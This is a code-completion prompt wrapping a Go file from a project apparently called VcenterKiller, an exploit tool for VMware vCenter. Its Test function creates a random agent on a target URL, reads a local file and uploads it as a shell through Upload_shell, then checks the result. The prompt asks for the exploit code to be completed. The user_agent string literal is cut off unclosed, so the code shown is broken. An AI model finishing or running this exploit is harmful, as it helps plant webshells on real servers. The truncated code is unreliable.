You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: c_22005.go
    path of file: ./repos/VcenterKiller/src/c_22005
    
    the code of the file until where you have to start completion: package c_22005

import (
	"fmt"
	"github.com/imroc/req/v3"
	"io/ioutil"
	"math/rand"
	"os"
	"strings"
	"time"
)

var user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like G
    
func Test(url, filename string) {
	log_param := id_generator(int64(2))
	agent_name := id_generator(int64(5))
	Create_agent(url, log_param, agent_name)
	ss, err := ioutil.ReadFile(filename)
	if err != nil {
		fmt.Println("[-] Read file failure.")
		os.Exit(0)
	}
	s := string(ss)
	Upload_shell(url, log_param, agent_name, s)
	Check(url)
}